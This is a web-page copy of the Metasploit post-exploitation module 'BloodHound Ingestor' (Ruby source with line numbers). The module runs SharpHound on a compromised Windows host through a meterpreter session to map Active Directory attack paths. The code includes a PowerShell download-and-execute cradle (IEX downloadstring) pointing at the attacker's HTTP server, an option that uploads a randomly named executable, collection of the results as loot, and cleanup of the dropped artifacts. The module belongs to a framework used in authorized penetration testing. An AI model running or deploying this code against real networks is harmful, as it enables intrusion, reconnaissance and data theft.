CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/bloodhound.rb
Views: 11655
1
class MetasploitModule < Msf::Post
2
include Msf::Post::File
3
include Msf::Exploit::Remote::HttpServer
4
include Msf::Post::Windows::Powershell
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'BloodHound Ingestor',
11
'Description' => %q{
12
This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more.
13
With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly
14
identify within an Active Directory environment.
15
},
16
'License' => MSF_LICENSE,
17
'Author' => [
18
'h4ng3r <[email protected]>',
19
'h00die'
20
],
21
'References' => [ 'URL', 'https://github.com/BloodHoundAD/BloodHound/' ],
22
'Platform' => [ 'win' ],
23
'Arch' => [ ARCH_X86, ARCH_X64 ],
24
'SessionTypes' => [ 'meterpreter' ],
25
'Notes' => {
26
'AKA' => ['sharphound'],
27
'SideEffects' => [ARTIFACTS_ON_DISK],
28
'Stability' => [],
29
'Reliability' => []
30
}
31
)
32
)
33
34
register_options([
35
OptEnum.new('CollectionMethod', [
36
true, 'The collection method to use.', 'Default',
37
['Group', 'LocalGroup', 'LocalAdmin', 'RDP', 'DCOM', 'PSRemote', 'Session', 'Trusts', 'ACL', 'Container', 'ComputerOnly', 'GPOLocalGroup', 'LoggedOn', 'ObjectProps', 'SPNTargets', 'Default', 'DCOnly', 'All']
38
]),
39
OptString.new('Domain', [false, 'Specifies the domain to enumerate. If not specified, will enumerate the current domain your user context specifies']),
40
OptBool.new('Stealth', [true, 'Use stealth collection options, will sacrifice data quality in favor of much reduced network impact', false]),
41
OptBool.new('ExcludeDomainControllers', [true, 'Exclude domain controllers from session queries. Useful for ATA environments which detect this behavior', false]),
42
OptString.new('DomainController', [false, 'Specify which Domain Controller to request data from. Defaults to closest DC using Site Names']),
43
OptInt.new('LdapPort', [false, 'Override the port used to connect to LDAP']),
44
OptBool.new('SecureLdap', [false, 'Uses LDAPs instead of unencrypted LDAP on port 636']),
45
# these were never implemented
46
# OptString.new('LDAPUsername', [false, 'User to connect to LDAP with', 'Default']),
47
# OptString.new('LDAPPassword', [false, 'Password for user you are connecting to LDAP with']),
48
# OptString.new('DisableKerbSigning', [false, 'Disables Kerberos Signing on requests', false]),
49
OptString.new('OutputDirectory', [false, 'Folder to write json output to. Default is Windows temp']),
50
OptEnum.new('Method', [true, 'Method to run Sharphound with', 'download', ['download', 'disk']]),
51
OptBool.new('EncryptZip', [false, 'If the zip should be password protected', true]),
52
OptBool.new('NoSaveCache', [false, 'Dont save the cache file to disk', true]),
53
OptString.new('ZipFileName', [false, 'Zip Output File Name. Blank for random', '']),
54
])
55
end
56
57
# Options removed or changed in sharphound v2 to sharphound v3
58
# Removed:
59
# SearchForest
60
# OU
61
# IgnoreLdapCert
62
# Threads
63
# PingTimeout
64
# SkipPing
65
# LoopDelay
66
# MaxLoopTime
67
# SkipGCDeconfliction
68
# Renamed:
69
# ExcludeDc -> ExcludeDomainControllers
70
# LDAPUser -> LDAPUsername
71
# LDAPPass -> LDAPPassword
72
# JSONFolder -> OutputDirectory
73
74
# Options removed or changed in sharphound Renamed in v4 (1.0.4) from v3:
75
# Renamed
76
# (many of the single dash verbose command names are now double dash as is usual in Linux land)
77
# encryptzip -> zippassword
78
# nosavecache -> memcache
79
# ExcludeDomainControllers -> excludedcs
80
81
def sharphound_ps1
82
File.join(Msf::Config.data_directory, 'post', 'powershell', 'SharpHound.ps1')
83
end
84
85
def sharphound_exe
86
File.join(Msf::Config.data_directory, 'post', 'SharpHound.exe')
87
end
88
89
def on_request_uri(cli, _request)
90
base_script = File.read(sharphound_ps1)
91
send_response(cli, base_script)
92
end
93
94
def download_run
95
start_service
96
uri = get_uri
97
"IEX (new-object net.webclient).downloadstring('#{uri}')"
98
end
99
100
def disk_run
101
name = "#{pwd}\\#{Rex::Text.rand_text_alpha_lower(4..10)}.exe"
102
vprint_status "Uploading sharphound.exe as #{name}"
103
upload_file(name, sharphound_exe)
104
return ". #{name}"
105
end
106
107
def run
108
if !have_powershell?
109
fail_with(Failure::Unknown, 'PowerShell is not installed')
110
end
111
112
extra_params = []
113
[
114
[datastore['Domain'], "-d #{datastore['Domain']}"],
115
[datastore['Stealth'], '--Stealth'],
116
# [datastore['SkipGCDeconfliction'], "-SkipGCDeconfliction"],
117
[datastore['ExcludeDomainControllers'], '--ExcludeDCs'],
118
[datastore['DomainController'], "--DomainController #{datastore['DomainController']}"],
119
[datastore['LdapPort'], "--LdapPort #{datastore['LdapPort']}"],
120
[datastore['SecureLdap'], '--SecureLdap'],
121
[datastore['NoSaveCache'], '--MemCache'],
122
].each do |params|
123
if params[0]
124
extra_params << params[1]
125
end
126
end
127
128
extra_params = "#{extra_params.join(' ')} "
129
130
if datastore['EncryptZip']
131
# for consistency, we use lower case password here since exe requires all extra_params to be lowercase
132
zip_pass = Rex::Text.rand_text_alpha_lower(12..20)
133
extra_params += "--ZipPassword #{zip_pass} "
134
end
135
136
# these options are only added if they aren't the sharphound default
137
unless datastore['CollectionMethod'] == 'Default'
138
extra_params += "-c #{datastore['CollectionMethod']}"
139
end
140
tmp_path = datastore['OutputDirectory'] || get_env('TEMP')
141
142
zip_name = datastore['ZipFileName'].empty? ? Rex::Text.rand_text_alpha_lower(4..10) : datastore['ZipFileName']
143
144
if datastore['Method'] == 'download'
145
command = download_run
146
extra_params = extra_params.gsub('--', '-')
147
invoker = "Invoke-BloodHound -OutputDirectory \"#{tmp_path}\" -ZipFileName #{zip_name} #{extra_params}"
148
elsif datastore['Method'] == 'disk'
149
command = disk_run
150
exe = command.sub('. ', '') # so we get the filename again
151
# for exe, we move invoker into command to run more friendly
152
invoker = ''
153
extra_params = extra_params.downcase
154
command = "#{command} --outputdirectory \"#{tmp_path}\" --zipfilename #{zip_name} #{extra_params}"
155
end
156
157
print_status("Loading BloodHound with: #{command}")
158
print_status("Invoking BloodHound with: #{invoker}") unless invoker.empty?
159
process, _pid, _c = execute_script("#{command}; #{invoker}")
160
161
while (line = process.channel.read)
162
line.split("\n").map { |s| print_status(s) }
163
m = line.match(/Enumeration Completed/)
164
sleep 30 # a final wait just in case we caught the text prior to the zip happening
165
next unless m
166
167
# we now need to find our zip, its a datetime_zipfilename.zip naming convention
168
zip_path = nil
169
files = ls(tmp_path)
170
files.each do |file|
171
next unless file.end_with?("#{zip_name}.zip")
172
173
zip_path = "#{tmp_path}\\#{file}"
174
break
175
end
176
if zip_path.nil?
177
print_bad("Unable to find results file in #{tmp_path}.")
178
end
179
180
p = store_loot('windows.ad.bloodhound', 'application/zip', session, read_file(zip_path), File.basename(zip_path))
181
rm_f zip_path
182
print_good("Downloaded #{zip_path}: #{p}")
183
rm_f(zip_path)
184
# store the password since we know it was successful
185
if datastore['EncryptZip']
186
print_good "Zip password: #{zip_pass}"
187
report_note(host: session,
188
data: "Bloodhound/Sharphound loot #{p} password is #{zip_pass}",
189
type: 'Sharphound Zip Password')
190
end
191
break
192
end
193
194
if datastore['Method'] == 'disk'
195
vprint_status "Deleting #{exe}"
196
rm_f exe
197
end
198
end
199
200
end
201
202